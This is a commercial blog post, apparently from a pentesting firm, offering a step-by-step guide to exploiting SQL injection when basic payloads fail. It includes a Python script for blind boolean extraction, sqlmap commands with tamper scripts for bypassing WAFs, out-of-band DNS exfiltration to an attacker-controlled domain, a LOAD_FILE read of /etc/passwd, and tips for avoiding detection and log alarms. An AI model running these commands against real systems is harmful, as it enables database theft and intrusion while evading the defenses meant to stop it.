Your pentest hits a parameter that doesn't respond to ' OR 1=1--. Is it really protected? We, at Meteora Web, have seen it dozens of times: a query that seems hardened hides a slow but lethal blind SQL injection. Or a WAF blocks default sqlmap requests, but a couple of tamper scripts are enough to bypass it. This operational guide starts from the concrete problem: how to exploit SQL injection when basic methods fail. No academic theory — only battle-tested techniques on real servers, including our experiences with clients who underestimated their API security.
What is the difference between sqlmap and manual exploitation?
The answer is simple: sqlmap automates, the human chooses the strategy. With sqlmap you can launch a full attack in seconds, but if the target has a custom WAF, rate limiting, or header filters, the tool needs configuration. We use sqlmap for reconnaissance and fast dumping, but when the database is sensitive (e.g., admin credentials, JWT tokens), we switch to manual because it's more fine-grained and stealthy. Manual exploitation requires understanding the SQL dialect of the DBMS (MySQL, PostgreSQL, MSSQL) and system functions. For example, in a blind boolean, instead of spraying random payloads, we craft a substring(version(),1,1)='8' to extract one bit at a time. With sqlmap you can do the same via --technique=B --string, but if the filter changes the response, it's better to write a one-shot Python script.
Sponsored Protocol
How to perform a manual blind SQL injection analysis?
Let's start from a real case: an endpoint /api/user?id=5 returns {"status":"ok"} for a valid id, {"status":"not found"} for an invalid one. Try id=5 AND 1=1 -> ok; id=5 AND 1=2 -> not found. Blind boolean confirmed. Now extract the MySQL version: id=5 AND SUBSTRING(@@version,1,1)=8 -> ok if the first digit is 8. Need to automate? We use a simple Python script:
import requests
url = "http://target.com/api/user"
charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
output = ""
for pos in range(1, 10):
for c in charset:
payload = f"5 AND ASCII(SUBSTRING((SELECT @@version),{pos},1))={ord(c)}"
r = requests.get(url, params={"id": payload})
if "ok" in r.text:
output += c
break
print(output)
This code extracts character by character. You can of course use sqlmap --batch -u ... --strings "ok" --not-string "not found" but manual gives you full control. A common mistake: not handling timeouts on slow requests or response caching. We always set timeout=5 and randomize request order to avoid suspicious patterns.
Sponsored Protocol
How to configure sqlmap to bypass WAF and filters?
The most common WAF blocks UNION SELECT or keywords like OR 1=1. At Meteora Web, we've bypassed ModSecurity, Cloudflare, and AWS WAF with these techniques:
- Tamper scripts: sqlmap includes a
tamper/directory with dozens of scripts. Our favorite for simple WAFs isbetween(replaces>withNOT BETWEEN) orspace2comment(spaces as comments). Run:sqlmap -u "http://target.com/page?id=1" --tamper=space2comment --level=5. - Header modification: some WAFs check the User-Agent. Use
--random-agentor--headers="User-Agent: Mozilla/5.0 ...". - Rate limiting and delay: with
--delay=2you slow down requests, but better use--time-sec=5for time-based and increase--retries=2. - Out-of-band: if the WAF blocks HTTP responses, switch to
--technique=Owith a controlled DNS server. Example:sqlmap -u ... --dbs --dns-domain=yourdomain.xyz --force-dns.
Note: there is no universal tamper. We always test with --proxy=http://127.0.0.1:8080 (Burp Suite) to see which requests are blocked and manually modify the payload before letting sqlmap run in automated mode.
Sponsored Protocol
How to exploit out-of-band SQL injection with sqlmap?
When you get no response in the HTTP body (neither differential nor temporal), the only way is out-of-band (OOB). sqlmap supports DNS exfiltration and SMB. We used this technique to extract data from a PostgreSQL database on an internal network that couldn't make HTTP connections to the internet but could resolve DNS. Setup:
- Get a domain whose DNS logs you can monitor (e.g., via Burp Collaborator or a VPS with
tcpdump). - Run sqlmap:
sqlmap -u "http://target.com/search?q=test" --dns-domain=yourdomain.xyz --technique=O --batch. - Check DNS logs: every query to
xyz.attacker.comcontains hex-encoded data. Decode with a simple script.
If the database is MySQL, you can also try SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '...' but permissions are often limited. OOB via DNS is more reliable. Remember: the server must be able to resolve your domain. In environments with locked internal DNS, try HTTP on an unfiltered port (e.g., 53/TCP? rare).
Sponsored Protocol
What common mistakes to avoid during advanced exploitation?
After hundreds of tests, we collected the mistakes that waste time and risk triggering alarms:
- Forgetting session cookies: many applications require authentication. Pass
--cookie="PHPSESSID=abc123"or use--auth-type=Bearer --auth-token=.... - Not distinguishing between GET and POST injection: if the parameter is in POST, use
--data="search=test"and don't put it in the URL. - Assuming it's MySQL: each DBMS has different syntax. For Oracle,
UNION SELECTrequiresFROM dual. For MSSQL, useWAITFOR DELAY. Set--dbms=PostgreSQLto avoid useless payloads. - Not testing on a staging environment first: we've seen clients crash their production database with a poorly handled
SELECT BENCHMARK(...). If you can't test, use--safe-urlto make safe requests between attempts. - Underestimating logging: every request can end up in system logs. Add
--randomize=idto change unnecessary parameters and--skip-urlencodeif the server normalizes input.
Final tip: we use sqlmap with verbose output (-v 6) to see every sent payload. Then export and grep to understand which tamper scripts worked. This allows us to build a custom configuration for each target.
Sponsored Protocol
What to do now
You've read the theory, now take action. Here is the checklist for your next advanced SQL injection pentest:
- Identify the parameter with a simple
'and watch the response. If unchanged, try",`, parentheses. Don't stop at the first error. - Confirm blind injection with two conditions (true/false). Write a one-shot Python script to extract one character. Decide whether to proceed manually or with sqlmap.
- Configure sqlmap with
--tamper=between,space2comment,--headers,--delay. Run a quick test with--current-user. - If WAF blocks, try
--tamper=charencodeor--hex. If still fails, switch to OOB with a custom DNS domain. - Log every attempt: save output with
tee sqlmap.log. Analyze blocked payloads and modify manually. - Data extraction: use
--dumpwith--stop=100to limit rows. Verify correctness with a manual UNION query if possible.
Remember: an unpatched SQL injection today is a data breach tomorrow. At Meteora Web we treat security as an investment, not a cost. For deeper context, read our pillar guide on Ethical Hacking.